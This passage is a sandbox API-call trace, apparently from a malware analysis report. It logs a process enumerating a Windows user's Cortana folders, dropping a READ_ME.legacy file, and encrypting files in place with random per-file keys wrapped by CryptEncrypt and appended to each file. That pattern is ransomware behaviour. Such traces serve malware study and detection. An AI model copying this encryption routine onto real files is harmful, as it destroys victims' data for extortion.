nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.178] CloseHandle (hObject=0x1af4) returned 1 [0181.180] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x439aeafc, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73630 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x439aeafc, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b80a71, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x40b80a71, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x43798cc7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x541a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43798cc7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x43798cc7, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x4383156f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4383156f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x4383156f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x4383156f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439aeafc, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x439aeafc, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x710f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Apps.ft", cAlternateFileName="")) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35da864c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x35da864c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x25cce, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Apps.index", cAlternateFileName="APPS~1.IND")) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x2f73630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.180] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.index", dwFileAttributes=0x80) returned 1 [0181.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0181.183] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=154830) returned 1 [0181.185] ReadFile (in: hFile=0x1af8, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x25cce, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x25cce, lpOverlapped=0x0) returned 1 [0181.198] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=-154830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.199] WriteFile (in: hFile=0x1af8, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x25cce, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25cce, lpOverlapped=0x0) returned 1 [0181.199] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25cce [0181.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.199] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.200] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.200] CloseHandle (hObject=0x1af8) returned 1 [0181.261] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.261] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.261] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.ft", dwFileAttributes=0x80) returned 1 [0181.262] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0181.263] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=28943) returned 1 [0181.263] ReadFile (in: hFile=0x1af8, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x710f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x710f, lpOverlapped=0x0) returned 1 [0181.379] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=-28943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.379] WriteFile (in: hFile=0x1af8, lpBuffer=0x30e4168*, nNumberOfBytesToWrite=0x710f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4168*, lpNumberOfBytesWritten=0x2e1f9bc*=0x710f, lpOverlapped=0x0) returned 1 [0181.379] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x710f [0181.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.379] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.380] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.380] CloseHandle (hObject=0x1af8) returned 1 [0181.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.381] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.382] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0181.383] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.383] ReadFile (in: hFile=0x1af8, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.383] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.384] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.384] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.384] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.384] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.384] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.384] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.384] CloseHandle (hObject=0x1af8) returned 1 [0181.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.386] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.387] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0181.387] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.387] ReadFile (in: hFile=0x1af8, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.388] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.388] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.388] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.389] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.389] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.389] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.389] CloseHandle (hObject=0x1af8) returned 1 [0181.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.390] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.391] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af8 [0181.392] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21530) returned 1 [0181.392] ReadFile (in: hFile=0x1af8, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x541a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x541a, lpOverlapped=0x0) returned 1 [0181.401] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=-21530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.401] WriteFile (in: hFile=0x1af8, lpBuffer=0x30e2478*, nNumberOfBytesToWrite=0x541a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x541a, lpOverlapped=0x0) returned 1 [0181.402] SetFilePointer (in: hFile=0x1af8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x541a [0181.402] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.402] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.402] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.402] WriteFile (in: hFile=0x1af8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.402] CloseHandle (hObject=0x1af8) returned 1 [0181.404] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249cf976, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24d16d3f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f731b0 [0181.404] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249cf976, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24d16d3f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.404] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c5825f, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24c5825f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24ca4711, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x541a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0181.404] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca4711, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24ca4711, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24ca4711, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0181.404] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca4711, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24ca4711, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24ca4711, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0181.404] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24d16d3f, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24d16d3f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24d3d07b, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x710f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Apps.ft", cAlternateFileName="")) returned 1 [0181.404] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c0bccd, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24c0bccd, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24d3d07b, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x25cec, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Apps.index", cAlternateFileName="APPS~1.IND")) returned 